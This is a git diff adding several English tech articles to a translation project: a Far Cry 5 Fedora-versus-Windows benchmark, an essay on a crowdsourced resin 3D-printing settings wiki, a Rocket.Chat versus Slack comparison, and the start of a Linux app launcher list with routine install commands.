Cry 5 which came out in 2018, on Fedora Workstation 35 to see how it performs. - -Just like in [my previous case study][4], the testing hardware has an AMD RDNA2-based GPU, where the video game was configured to the *highest possible graphical preset* to stress the hardware into performing as much as its limiting factor. To ensure that we have a fair comparison, I set up two environments – one with Windows 10 Pro 21H2 and one with Fedora Workstation 35, both having up-to-date drivers and support software such as MSI Afterburner or MangoHUD for monitoring, Steam or Lutris for video game management and OBS Studio for footage recording. Adding to that, the benchmarks were ensured to be both representatives of a common gameplay scenario and variable enough to address resolution scaling and HD textures. - -![][5] - -Before we get into some actual performance testing and comparison results, I would like to go into detail about the video game that is at the centre of this case study. Far Cry 5 is a first-person action-adventure video game developed by Ubisoft Montreal and Ubisoft Toronto. The player takes the role of an unnamed junior deputy sheriff who is trapped in Hope County, a fictional region based in Montana and has to fight against a doomsday cult to take back the county from the grasp of its charismatic and powerful leader. The video game has been well received for the inclusion of branching storylines, role-playing elements and side quests, and is optimized enough to be a defining showcase of what the underlying hardware and platform are capable of. - -### Preliminary - -#### Framerate - -The first test that was performed had a direct implication on how smooth the playing experience would be across different platforms but on the same hardware configuration. - -##### Without HD textures - -On a default Far Cry 5 installation, I followed the configuration stated above but opted out of the HD textures pack to warm up the platforms with a comparatively easier test. Following are the results. - -![][6] - -1. On average, the video game had around a whopping 59.25% more framerate on Fedora Workstation 35 than on Windows 10 Pro 21H2. -2. To ensure an overall consistent performance, both the minimum and maximum framerates were also noted to monitor dips and rises. -3. The minimum framerates on Fedora Workstation 35 were ahead by a big 49.10% margin as compared to those on Windows 10 Pro 21H2. -4. The maximum framerates on Fedora Workstation 35 were ahead by a big 62.52% margin as compared to those on Windows 10 Pro 21H2. -5. The X11 display server had roughly 0.52% more minimum framerate as compared to Wayland, which can be taken as a margin of error. -6. The Wayland display server had roughly 3.87% more maximum framerate as compared to X11, which can be taken as a margin of error. - -##### With HD textures - -On a default Far Cry 5 installation, I followed the configuration stated above, but this time I enabled the HD textures pack to stress the platforms with a comparatively harder test. Following are the results. - -![][7] - -1. On average, the video game had around a whopping 65.63% more framerate on Fedora Workstation 35 than on Windows 10 Pro 21H2. -2. To ensure an overall consistent performance, both the minimum and maximum framerates were also noted to monitor dips and rises. -3. The minimum framerates on Fedora Workstation 35 were ahead by a big 59.11% margin as compared to those on Windows 10 Pro 21H2. -4. The maximum framerates on Fedora Workstation 35 were ahead by a big 64.21% margin as compared to those on Windows 10 Pro 21H2. -5. The X11 display server had roughly 9.77% more minimum framerate as compared to Wayland, which is big enough to be considered. -6. The Wayland display server had roughly 1.12% more maximum framerate as compared to X11, which can be taken as a margin of error. - -#### Video memory usage - -The second test that was performed had less to do with the playing experience and more with the efficiency of graphical resource usage. Following are the results. - -##### Without HD textures - -On a default Far Cry 5 installation, I followed the configuration stated above but opted out of the HD textures pack to use comparatively lesser video memory across the platforms. Following are the results. - -![][8] - -1. On average, Fedora Workstation 35 uses around 31.94% lesser video memory as compared to Windows 10 Pro 21H2. -2. The Wayland display server uses roughly 1.78% more video memory as compared to X11, which can be taken as a margin of error. -3. The video game usage estimated is closer to the actual readings on Fedora Workstation 35 than they are those on Windows 10 Pro 21H2. -4. Adding this to the previous results speaks about how Fedora Workstation 35 performs better while using fewer resources. - -##### With HD textures - -On a default Far Cry 5 installation, I followed the configuration stated above but this time I enabled the HD textures pack to stress the platforms by occupying more video memory. Following are the results. - -![][9] - -1. On average, Fedora Workstation 35 uses around 22.79% lesser video memory as compared to Windows 10 Pro 21H2. -2. The Wayland display server uses roughly 2.73% more video memory as compared to X11, which can be taken as a margin of error. -3. The video game usage estimated is closer to the actual readings on Fedora Workstation 35 than they are those on Windows 10 Pro 21H2. -4. Adding this to the previous results speaks about how Fedora Workstation 35 performs better while using fewer resources. - -#### System memory usage - -The third test that was performed had less to do with the playing experience and more with how other applications can fit in the available memory while the video game is running. Following are the results. - -##### Without HD textures - -On a default Far Cry 5 installation, I followed the configuration stated above but opted out of the HD textures pack to warm up the platforms with a comparatively easier test. Following are the results. - -![][10] - -1. On average, Fedora Workstation 35 uses around 38.10% lesser system memory as compared to Windows 10 Pro 21H2. -2. The Wayland display server uses roughly 4.17% more system memory as compared to X11, which can be taken as a margin of error. -3. Adding this to the previous results speaks about how Fedora Workstation 35 performs better while using fewer resources. -4. Lesser memory usage by the video game leaves out extra headroom for other applications to run simultaneously with no compromises. - -##### With HD textures - -On a default Far Cry 5 installation, I followed the configuration stated above, but this time I enabled the HD textures pack to stress the platforms with a comparatively harder test. Following are the results. - -![][11] - -1. On average, Fedora Workstation 35 uses around 33.58% lesser system memory as compared to Windows 10 Pro 21H2. -2. The Wayland display server uses roughly 7.28% more system memory as compared to X11, which is big enough to be considered. -3. Adding this to the previous results speaks about how Fedora Workstation 35 performs better while using fewer resources. -4. Lesser memory usage by the video game leaves out extra headroom for other applications to run simultaneously with no compromises. - -### Advanced - -#### Without HD textures - -On a default Far Cry 5 installation, I followed the previously stated configuration without the HD textures pack and ran the tests with varied resolution multipliers. Following are the results. - -##### Minimum framerates recorded - -![][12] - -1. A great deal of inconsistent performance is visible on Fedora Workstation 35 with both display servers in lower resolution scales. -2. The inconsistencies seem to normalize for the resolution multipliers on and beyond the 1.1x resolution scale for Fedora Workstation 35. -3. Resolution multipliers do not seem to have a great effect on the framerate on Windows 10 Pro 21H2 as much as on Fedora Workstation 35. -4. Although Windows 10 Pro 21H2 misses out on potential performance advantages in lower resolution multipliers, it has been consistent. -5. Records on Windows 10 Pro 21H2 in the 2.0x resolution multiplier appear to be marginally better than those on Fedora Workstation 35. - -##### Maximum framerates recorded - -![][13] - -1. A small amount of inconsistent performance is visible on Fedora Workstation 35 with both display servers in lower resolution scales. -2. The inconsistencies seem to normalize for the resolution multipliers on and beyond the 1.1x resolution scale for Fedora Workstation 35. -3. Resolution multipliers change starts noticeably affecting performance on Windows 10 Pro 21H2 on a 1.6x scale, beyond which it falls greatly. -4. Although Windows 10 Pro 21H2 misses out on potential performance advantages in lower resolution multipliers, it has been consistent. -5. Records on Windows 10 Pro 21H2 in the 1.6x resolution multiplier and beyond appear to be better than those on Fedora Workstation 35. - -##### Average framerates recorded - -![][14] - -1. A minor amount of inconsistent performance is visible on Fedora Workstation 35 with both display servers in lower resolution scales. -2. The inconsistencies seem to normalize for the resolution multipliers on and beyond the 1.1x resolution scale for Fedora Workstation 35. -3. Resolution multipliers change starts noticeably affecting performance on Windows 10 Pro 21H2 on a 1.6x scale, beyond which it falls greatly. -4. Although Windows 10 Pro 21H2 misses out on potential performance advantages in lower resolution multipliers, it has been consistent. -5. Records on Windows 10 Pro 21H2 in the 1.9x resolution multiplier and beyond appear to be better than those on Fedora Workstation 35. - -#### With HD textures - -On a default Far Cry 5 installation, I followed the previously stated configuration with the HD textures pack and ran the tests with varied resolution multipliers. Following are the results. - -##### Minimum framerates recorded - -![][15] - -1. A great deal of inconsistent performance is visible on Fedora Workstation 35 with both display servers in lower resolution scales. -2. The inconsistencies seem to normalize for the resolution multipliers on and beyond the 1.5x resolution scale for Fedora Workstation 35. -3. Resolution multipliers do not seem to have a great effect on the framerate on Windows 10 Pro 21H2 as much as on Fedora Workstation 35. -4. Although Windows 10 Pro 21H2 misses out on potential performance advantages in lower resolution multipliers, it has been consistent. -5. Records on Windows 10 Pro 21H2 in the 2.0x resolution multiplier appear to be marginally better than those on Fedora Workstation 35. - -##### Maximum framerates recorded - -![][16] - -1. A great deal of inconsistent performance is visible on Fedora Workstation 35 with both display servers in lower resolution scales. -2. The inconsistencies seem to normalize for the resolution multipliers on and beyond the 1.0x resolution scale for Fedora Workstation 35. -3. Resolution multipliers change starts noticeably affecting performance on Windows 10 Pro 21H2 on a 1.6x scale, beyond which it falls greatly. -4. Although Windows 10 Pro 21H2 misses out on potential performance advantages in lower resolution multipliers, it has been consistent. -5. Records on Windows 10 Pro 21H2 in the 1.6x resolution multiplier and beyond appear to be better than those on Fedora Workstation 35. - -##### Average framerates recorded - -![][17] - -1. A minor amount of inconsistent performance is visible on Fedora Workstation 35 with both display servers in lower resolution scales. -2. The inconsistencies seem to normalize for the resolution multipliers on and beyond the 1.1x resolution scale for Fedora Workstation 35. -3. Resolution multipliers change starts noticeably affecting performance on Windows 10 Pro 21H2 on a 1.6x scale, beyond which it falls greatly. -4. Although Windows 10 Pro 21H2 misses out on potential performance advantages in lower resolution multipliers, it has been consistent. -5. Records on Windows 10 Pro 21H2 in the 1.9x resolution multiplier and beyond appear to be better than those on Fedora Workstation 35. - -### Inferences - -If the test results and observations baffle you, please allow me to tell you that you are not the only one who feels like that. For a video game that was created to run on Windows, it is hard to imagine how it ends up performing way better on Fedora Workstation 35, all while using a much lesser amount of system resources at all times. Special attention has been given to noting down the highest highs and lowest lows of framerates to ensure that consistent performance is made available. - -But wait a minute – how is it that Fedora Workstation 35 manages to make this possible? Well, while I do not have a clear idea of what exactly goes on behind the scenes, I do have a certain number of assumptions that I suspect might be the reasons attributing to such brilliant visuals, great framerates and efficient resource usage. These can potentially act as starting points for us to understand the features of Fedora Workstation 35 for compatibility layers to make use of. - -1. Effective caching of graphical elements and texture assets in the video memory allows for keeping only those data in the memory which are either actively made use of or regularly referenced. The open-source AMD drivers help Fedora Workstation 35 make efficient use of the available frame buffer. -2. Quick and frequent cycling of data elements from the video memory helps to bring down total occupancy per application at any point in time. The memory clocks and shader clocks are left at the application’s disposal by the open-source AMD drivers, and firmware bandwidth limits are all but absent. -3. With AMD Smart Access Memory (SAM) enabled, the CPU is no longer restricted to using only 256MiB of the video memory at a time. A combination of leading-edge kernel and up-to-date drivers makes it available on Fedora Workstation 35 and capable of harnessing the technology to its limits. -4. Extremely low system resource usage by supporting software and background services leaves out a huge majority of them to be used by the applications which need it the most. Fedora Workstation 35 is a lightweight distribution, which does not get in your way and puts the resources on what’s important. -5. Faster loading of data elements to and from the physical storage devices to the system memory is greatly enhanced with the use of high-capacity modern copy-on-write file systems like BTRFS and journaling file systems like EXT4, which happens to be the suggested file system for Fedora Workstation 35. - -Performance improvements like these only make me want to indulge more in testing and finding out what else Fedora Workstation is capable of. Do let me know what you think in the comments section below. - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/fedora-workstation-state-of-gaming-far-cry-5/ - -作者:[Akashdeep Dhar][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/t0xic0der/ -[b]: https://github.com/lkxed -[1]: https://fedoramagazine.org/wp-content/uploads/2022/06/gaming-2-816x345.jpg -[2]: https://commons.wikimedia.org/wiki/File:Steam_Deck_(front).png -[3]: https://creativecommons.org/licenses/by-sa/4.0 -[4]: https://fedoramagazine.org/fedora-workstations-state-of-gaming/ -[5]: https://user-images.githubusercontent.com/49605954/172998217-ea8b7adf-1f83-4f46-89d1-9406387542c3.png -[6]: https://user-images.githubusercontent.com/49605954/172686721-eb2469c0-a81f-4e32-a4b3-aabbdb0035a4.svg -[7]: https://user-images.githubusercontent.com/49605954/172686709-8c5a17e6-9e91-4a21-8c8e-95fc9606853c.svg -[8]: https://user-images.githubusercontent.com/49605954/172686723-d03b6a2f-7950-416c-9256-cae1e0a15e2f.svg -[9]: https://user-images.githubusercontent.com/49605954/172686713-2b45753b-92ad-4ecf-801f-b8e5e2bd7778.svg -[10]: https://user-images.githubusercontent.com/49605954/172686727-dc6feb71-30ef-4792-90c6-72a3c1f95da7.svg -[11]: https://user-images.githubusercontent.com/49605954/172686719-6c9f621c-a41b-454e-92b3-7cf9a5f79502.svg -[12]: https://user-images.githubusercontent.com/49605954/172686748-bcba2e85-9f3e-4331-9338-238748424081.svg -[13]: https://user-images.githubusercontent.com/49605954/172686758-36422b22-b66c-4ee5-bb74-b7bdf3d4d02a.svg -[14]: https://user-images.githubusercontent.com/49605954/172686753-f20e057d-c631-4aa7-9366-0d84dd227840.svg -[15]: https://user-images.githubusercontent.com/49605954/172686730-450b7d5b-8e13-49a8-8967-cb820514ec28.svg -[16]: https://user-images.githubusercontent.com/49605954/172686745-1b4fd578-91b9-4080-8049-05736774f484.svg -[17]: https://user-images.githubusercontent.com/49605954/172686739-1139158c-0e85-484c-ba42-d3ddac07419a.svg diff --git a/sources/tech/20220618 How Wordle inspired me to create a 3D printing wiki the open source way.md b/sources/tech/20220618 How Wordle inspired me to create a 3D printing wiki the open source way.md new file mode 100644 index 0000000000..9a3554c77e --- /dev/null +++ b/sources/tech/20220618 How Wordle inspired me to create a 3D printing wiki the open source way.md @@ -0,0 +1,85 @@ +[#]: subject: "How Wordle inspired me to create a 3D printing wiki the open source way" +[#]: via: "https://opensource.com/article/22/6/3d-printing-wordle-crowdsourcing" +[#]: author: "Adam Bute https://opensource.com/users/buteadam" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How Wordle inspired me to create a 3D printing wiki the open source way +====== +3D printing is a lot like a game of Wordle. I aim to solve the puzzle by creating crowdsourced documentation and databases. + +![Lots of people in a crowd.][1] + +Image by: Opensource.com + +You decide to buy a 3D printer. You do your research, and you settle on an open system that uses resin as its material. You spend a nice chunk of money, and after a few weeks of waiting, it finally arrives. + +You unbox it. It's gorgeous. You do some small assembly, pour in the liquid resin, and you're ready to go. You fire up the software. It asks you to type in the correct parameters for the material. You check the bottle but you can't see any parameters. You check online, but still can't find anything. + +A bit confused, you write an email to the manufacturer, asking if they could point you in the right direction. The manufacturer tells you they also don't know the parameters, but they are pretty sure they exist, and you should try to guess them yourself. Baffled, you start wondering whether this is really what resin printing is like, or if you've been duped by this company. + +### A bad game of Wordle + +Unfortunately, this is really what resin printing is like. When you buy a new material, you have to do what's called resin validation. It's essentially making a guess for the parameters and adjusting the numbers based on your results. That's if your guess was decent and anything even comes out of the printer. + +It's a lot like playing a game of Wordle, except none of the blocks ever turn green. All you can do is eyeball whether the print looks slightly better or worse with each iteration, and then try again. Finally, at one point you say “looks good to me,” and that's that. + +![An image of Wordle][2] + +If that sounds like a deeply unsatisfying game to you, you'd be correct. It's also way too long, often taking days, and wasting a good amount of resin in the process. Resin is expensive. At least Wordle is free. + +### A little help from above? + +So why don't these manufacturers, who know their material best, share the print parameters? Well, their arguments are somewhat reasonable. There are millions of possible combinations of printers and resins, and they can't possibly cover all of them. And even between two printers which are the same model, there can be tiny variations, which affect the numbers slightly. + +But ‘slightly' is an important word. If users got a good baseline, they could easily adjust the settings if they needed to. At least it would be much quicker than starting from scratch. To be fair, some companies do give recommended settings, but it's hard to trust even these numbers. There are many crafty manufacturers who publish fake, untested settings, just to lure customers in. + +The truth is that resin validation is expensive. Resin companies are almost invariably small businesses, strapped for cash, who just can't afford to spend on resin validation. So, they outsource this work to the end user. But this creates a kind of absurd situation in the resin printing world. Instead of one man at one company doing the validation work once, hundreds of people do the same work over and over again just to come to the same conclusion. + +### Makers to the rescue + +So what does the maker community do? They try to fix the problem themselves. Reddit and Facebook groups are full of people happily sharing screenshots of a new setting they figured out. Nice gesture, but not very useful. Some ingenious community members created live resin setting spreadsheets that are updated based on user submissions. These are fantastic resources, and universally loved, but they too have their limitations. + +They are messy, rarely updated, and there's no way to tell whether the settings actually work. And because anonymous users host them, they are sometimes turned into spam, or randomly deleted. Most recently the biggest community spreadsheet was unexpectedly deleted, erasing years' worth of crowdsourced data with it. + +![Image of a community spreadsheet][3] + +### Making a resin setting database + +I'm a bit of an egghead myself and I really enjoy organizing things. I had the idea to collect all these settings from manufacturers and communities, and put it on a nice website. I registered the domain [makertrainer.com][4] and used two awesome open source tools to build the site: [MediaWiki][5] and [DataTables][6]. + +![Image of Maker Trainer][7] + +I made it a wiki so that anyone could contribute, but made certain spam or vandalism could be easily undone. I also added some buttons to allow users to vote on whether a setting worked or not. I posted it in some communities to see if people would find it useful, and the response has been overwhelming. I didn't realize this at the time, but I accidentally created the [biggest resin setting database on the internet][8]. Users kept spreading it on social media, blog posts, YouTube and so on. With so many people submitting new settings, the database grows larger daily. + +![Image of resin settings][9] + +The fact that people are so enthusiastic shows just how much of a void there is for documentation in 3D printing. There's a lot of practical experience scattered amongst makers, most of which is never written down or shared publicly. Everyone needs to do a better job recording practical knowledge in addition to theory. Otherwise, the next generation of makers will commit the same mistakes again. The database is a small contribution in this regard, but I hope it can continue to grow, and make 3D printing just a little easier for everyone. + +Image by: (Adam Bute, CC BY-SA 40) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/3d-printing-wordle-crowdsourcing + +作者:[Adam Bute][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/buteadam +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/BUSINESS_community_1.png +[2]: https://opensource.com/sites/default/files/2022-06/bad_wordle.png +[3]: https://opensource.com/sites/default/files/2022-06/community_spreadsheet.png +[4]: http://makertrainer.com/ +[5]: https://www.mediawiki.org/wiki/MediaWiki +[6]: https://datatables.net/ +[7]: https://opensource.com/sites/default/files/2022-06/Maker_Trainer.png +[8]: https://hackaday.com/2022/05/13/open-database-shares-resin-3d-printing-settings/ +[9]: https://opensource.com/sites/default/files/2022-06/resin_settings_table.png diff --git a/sources/tech/20220619 Rocket.Chat vs. Slack- Choosing the Perfect Team Collaboration App.md b/sources/tech/20220619 Rocket.Chat vs. Slack- Choosing the Perfect Team Collaboration App.md new file mode 100644 index 0000000000..6ab15d0f60 --- /dev/null +++ b/sources/tech/20220619 Rocket.Chat vs. Slack- Choosing the Perfect Team Collaboration App.md @@ -0,0 +1,221 @@ +[#]: subject: "Rocket.Chat vs. Slack: Choosing the Perfect Team Collaboration App" +[#]: via: "https://itsfoss.com/rocket-chat-vs-slack/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Rocket.Chat vs. Slack: Choosing the Perfect Team Collaboration App +====== +Slack is arguably the most popular team messaging/collaboration application out there. + +While it is not an open-source solution, it is available for Linux, Windows, macOS, Android, and iOS. + +[Rocket.Chat][1], on the other hand, is one of the [best open-source Slack alternatives][2]. It is also available across all major platforms. + +We at It’s FOSS use Rocket.Chat (Self-hosted) for internal team communication. But, we have also had a fair share of experiences with Slack. + +Is Rocket.Chat better than Slack? What benefits do you get if you use Slack over Rocket.Chat? + +If you are on the fence about deciding on a good team communication app, let me compare the offerings to help you explore more about them. + +### Free vs. Premium + +![free premium illustration][3] + +An essential factor for picking a team communication application includes the pricing. + +Open-source or not, not everyone wants to invest in getting started. Of course, it depends on your preferences, but most users will prefer something free. + +[Slack][4], in this case, is free to get started with limited features. We also have a guide on [installing Slack on Linux][5] to give you a head start. + +In comparison, [Rocket.Chat][6] is not entirely free to set up. Technically, you don’t need to pay a dime to use it. However, it would help if you had a server to deploy it to. + +So, considering you already have an infrastructure in place, it should be free for you without any limit to its available features. + +But, if you would rather not invest in a server to host it yourself, Slack gives you the free option. + +Furthermore, Slack does present you with some special regional pricing, which is not the case with Rocket.Chat. + +Generally, the pricing for premium subscriptions is almost similar, but it will differ per your organization’s requirements. You might want to check out [Slack’s][7]and [Rocket.Chat’s][8] pricing page to learn more about it. + +### User Experience + +Rocket.Chat offers a straightforward interface that is easy to use. It does provide a good user experience, but as per my usage (for a few years now), I wouldn’t rate it as the “best experience”. + +![rocket chat ux main][9] + +Things like searching for a particular message and a few subtle interactions aren’t the strongest points of Rocket.Chat. + +But, if you like a simple and effective user interface that keeps up with the modern standards, Rocket.Chat is your friend. It does not have any significant issues, but it may not be the most engaging experience for some. + +With Slack, the user interface takes a modern approach (in other words, a feature-filled user experience). + +Considering the mobile and desktop experience of Slack, it works great with its subtle animations and works pretty much flawlessly. + +![slack ux][10] + +With that being said, I would recommend trying both of them to check your preferences. Just for my opinion, I give Slack a bit of an edge here. + +### Self-hosted vs. Hosted (Data Privacy) + +![self hosted illustration][11] + +While it can be a hassle to self-host it, if you are someone who values data privacy more than the setup convenience, Rocket.Chat can be the perfect fit. + +Fret not, we have a [guide to help you self-host Rocket.Chat][12], if you prefer doing that. + +Of course, Slack does not wildly steal any of your data, but technically, your data resides on someone else’s server. You do not get control of it, but get access to some toggles to manage the workspace. + +With Rocket.Chat lets you control the data and any practices that help you secure your communications. + +Note that for some users, securing and deploying proper practices to secure their server can be a headache (if you are not experienced). So, you might have to end up hiring an expert to set it up and maintain it for you. + +Fortunately, Rocket.Chat also offers you a hosted option like Slack for a premium giving access to certain enterprise-grade features. + +Overall, with Rocket.Chat allows you to opt between a self-hosted option and a managed hosted plan. But, with Slack, you only have the option to rely on a managed hosting option. + +### Encryption + +![encryption illustration][13] + +Rocket.Chat supports end-to-end encryption out of the box using the “**Off the record**” feature conversations. So, you can toggle it in every conversation when needed. + +The feature is still in its beta phase and does not support sharing files when writing this. Hence, it isn’t as pleasant as using some of the [best WhatsApp alternatives][14] for instant messaging. + +The enterprise edition, mentions that it offers end-to-end encryption by default. Of course, with the self-hosted option, you get more control, so you get to decide what you want to do with it. + +Slack encrypts the data at rest and data in transit for all users. With its enterprise edition, you get an Enterprise Key Management feature to take control of your encryption keys for sensitive conversations. + +Overall, both Slack and Rocket.Chat offers options for encryption and security. It all depends on what your organization needs or what you need as an individual. + +### Whitelabel + +![whitelabel illustration][15] + +Numerous brands aim to customize every service/app experience they use by incorporating the company’s theme/name/color/logo. + +And, Rocket.Chat gives you total freedom to customize the experience. + +Ranging from color changes to full CSS customization to help an organization tailor the collaboration/messaging experience for their employees. Just like we have a few things customized in our case. + +![rocket chat ux][16] + +You can even choose to customize from the source code for advanced tweaks. + +Unfortunately, Slack falls short on this. Whether an individual or an enterprise, you must stick to Slack’s default themes/color choices. + +### Key Features + +You should get all the essential messaging features with both of them. + +Message reactions, threaded replies, the recipient’s time zone, notification controls, etc. Several such features can make a difference. + +![A Video from YouTube][17] + +To make things simpler, here, I highlight some of the key feature differences (and similarities) that could help you decide what’s better for you: + +**Common Features** + +* Two-Factor Authentication support. +* You can edit messages. +* Quote messages and reply to them. +* Create separate channels, and add members for access. +* Pin messages. +* Dark theme. +* Privacy options. + +Now that you know some of the fundamental similarities. It would help if you also looked at some of the introductory videos embedded that give you an overview of both. + +![A Video from YouTube][18] + +In either case, let us take a look at some of the important differences: + +##### Rocket.Chat + +* Start a discussion for a separate topic +* Toggle end-to-end encryption +* Channel cannot be entirely limited to admins for messages (other users can reply to the new messages). +* No reminder feature for a conversation thread in a channel. +* No separate drafts section. +* No separate section to find all the files you sent. +* Easily export your data. (HTML/JSON) + +##### Slack + +* No discussion feature +* No user toggle for end-to-end encryption +* Channel can be easily limited to the admins (with no option to reply to other members). +* Ability to set a reminder to get notified of new replies in a conversation thread. +* All drafts get saved and can be accessed from a single place. +* You can find all the sent files quickly. +* Only a workspace admin/owner can export data. + +In addition to some key points, you should find many other subtle differences making up the entire user experience. + +### Third-Party Integrations and Extras + +![decentralize illustration][19] + +Regarding third-party integrations, none of the choices should disappoint you. + +All the major services like Outlook, Zoom and Google Drive work well with both Rocket.Chat and Slack. + +However, Rocket.Chat offers some extras that can have the edge over Slack: + +* Ability to integrate Matrix protocol, making Rocket.Chat one of the [best Matrix clients][20]. In other words, you get a decentralized messenger with Rocket.Chat. +* Adding integrations through Zapier. + +### Open Source vs. Proprietary + +Rocket.Chat already offers some good perks as an open-source solution—for instance, the option to self-host, the freedom to customize the source code, and more. + +So, if you prefer an open-source software for its transparency, privacy benefits, and more, Rocket.Chat is the easy pick. + +If you do not care about any of the perks that come with an open-source tool, you can pick Slack for some of its convenient features and a slightly better user experience. + +### Final Verdict: What Should You Use for Team Communication? + +Rocket.Chat gives you more control of your data and the freedom to customize things. So, if you have no issues with a self-hosted solution, Rocket.Chat is a clear choice. + +However, if you do not want to set it up yourself and want an enterprise (managed) offering, you might want to try them first to evaluate the user experience and its features per your preferences. + +And, if you are just getting started and do not want to invest in a server/premium subscription, Slack should be a good start. + +*What would you pick? Let me know your thoughts in the comments below.* + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/rocket-chat-vs-slack/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/rocket-chat/ +[2]: https://itsfoss.com/open-source-slack-alternative/ +[3]: https://itsfoss.com/wp-content/uploads/2022/06/free-premium-illustration.jpg +[4]: https://slack.com/ +[5]: https://itsfoss.com/slack-use-linux/ +[6]: https://rocket.chat/ +[7]: https://slack.com/intl/en-in/pricing +[8]: https://rocket.chat/pricing +[9]: https://itsfoss.com/wp-content/uploads/2022/06/rocket-chat-ux-main.png +[10]: https://itsfoss.com/wp-content/uploads/2022/06/slack-ux.jpg +[11]: https://itsfoss.com/wp-content/uploads/2022/06/self-hosted-illustration.jpg +[12]: https://linuxhandbook.com/rocket-chat-docker/ +[13]: https://itsfoss.com/wp-content/uploads/2022/06/encryption-illustration.jpg +[14]: https://itsfoss.com/private-whatsapp-alternatives/ +[15]: https://itsfoss.com/wp-content/uploads/2022/06/whitelabel-illustration.jpg +[16]: https://itsfoss.com/wp-content/uploads/2022/06/rocket-chat-ux.png +[17]: https://youtu.be/MW_qsbgt1KQ +[18]: https://youtu.be/j9-8UFTHlvk +[19]: https://itsfoss.com/wp-content/uploads/2022/06/decentralize-illustration.jpg +[20]: https://itsfoss.com/best-matrix-clients/ diff --git a/sources/tech/20220619 Top 10 App Launchers for Ubuntu & GNOME Desktop [With Bonus List].md b/sources/tech/20220619 Top 10 App Launchers for Ubuntu & GNOME Desktop [With Bonus List].md new file mode 100644 index 0000000000..f40f1ee559 --- /dev/null +++ b/sources/tech/20220619 Top 10 App Launchers for Ubuntu & GNOME Desktop [With Bonus List].md @@ -0,0 +1,240 @@ +[#]: subject: "Top 10 App Launchers for Ubuntu & GNOME Desktop [With Bonus List]" +[#]: via: "https://www.debugpoint.com/2022/06/top-ubuntu-launcher-2022/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Top 10 App Launchers for Ubuntu & GNOME Desktop [With Bonus List] +====== +Here’s a list of the 10 best application launcher to boost your productivity and saves time. Try these in Ubuntu, Linux Mint and other distros. + +### What is a Launcher + +A launcher is an application that performs a search and launches any application in your desktop environment. Usually, it is kicked off by a keyboard combination and gives you available options to start. It can also perform specific actions such as browsing file systems and calculating a formula value. + +In other terms, a traditional application menu is also a launcher. Because using a simple menu, you can also search and launch applications. + +Most mainstream Linux distributions do not come with a dedicated launcher by default. Some particular ones feature them. For example, the KDE Plasma desktop in Kubuntu and other distros bring the awesome Krunner launcher. Similarly, there are other launchers as well which are exciting to try out. + +This [Top 10 list][1] features some of the best App Launchers for Ubuntu and Linux distros. + +### Top 10 App Launcher for Ubuntu and Other Linux Distros + +#### 1. Ulauncher + +Ulauncher is a classy and nice-looking App launcher for Ubuntu, Linux Mint and similar distros. It is written in Python and brings some exciting features. For example, Ulauncher support fuzzy search, i.e. your incorrect spellings also give you the exact result that you are looking for. In addition, it supports searching the file system, files, web browsing history and many such features. + +Moreover, you can change the looks of the Ulauncher via several Themes to make it look great in your [desktop theme][2]. + +![Ulauncher showing fuzzy search][3] + +![][4] + +You can install Ulauncher via the below methods. + +* [Directly download][5] the deb file for Ubuntu, Linux Mint and other similar distros. And then, using the Software, you can install it. + +* For Fedora, run the below command from a terminal prompt to install. + +``` +sudo dnf install ulauncher +``` + +* After installation, you can press CTRL+space to launch Ulauncher. + +* For more information, visit the [official website][6]. + +#### 2. Kupfer + +Kupfer is a little different-looking launcher. Written in Python, it is an old application that brings up the applications’ icons when it matches the search values. Usually, it does not have a search box. However, you can type, and the possible matches are shown instantly. Moreover, it supports several plugins as well. + +![Kupfer][7] + +You can easily install Kupfer in Ubuntu and Linux Mint using the below command. + +``` +sudo apt install kupfer +``` + +You can find more details about this launcher on its [home page][8]. + +#### 3. Albert + +Perhaps the most exciting app launcher on this list is Albert. Albert is a widely used launcher that brings app, file system and web search from its search box. Also, it shows you the path of the application or the shortcuts in the resulting drop-down so that you can choose the correct application. Other than that, you can also do basic mathematics calculations from the launcher itself. + +In addition, Albert comes with several plugins to extend its functionality which is accessible from its settings window. When launched for the first time, you need to choose the Keybinding for the launcher. + +![Albert Launcher][9] + +Installation of Albert is terminal driven via openSUSE build service. + +For Ubuntu and Linux Mint, you can install Albert using the following commands in sequence. + +``` +sudo apt install curlcurl https://build.opensuse.org/projects/home:manuelschneid3r/public_key | sudo apt-key add -echo 'deb http://download.opensuse.org/repositories/home:/manuelschneid3r/xUbuntu_22.04/ /' | sudo tee /etc/apt/sources.list.d/home:manuelschneid3r.listsudo wget -nv https://download.opensuse.org/repositories/home:manuelschneid3r/xUbuntu_22.04/Release.key -O "/etc/apt/trusted.gpg.d/home:manuelschneid3r.asc"sudo apt updatesudo apt install albert +``` + +Alternatively, if you want the deb file, you can [get it here][10]. All the above commands are for [Ubuntu 22.04 LTS][11] only. + +Similarly, for Fedora Linux, you can use the following command. + +``` +sudo rpm --import https://build.opensuse.org/projects/home:manuelschneid3r/public_keydnf config-manager --add-repo 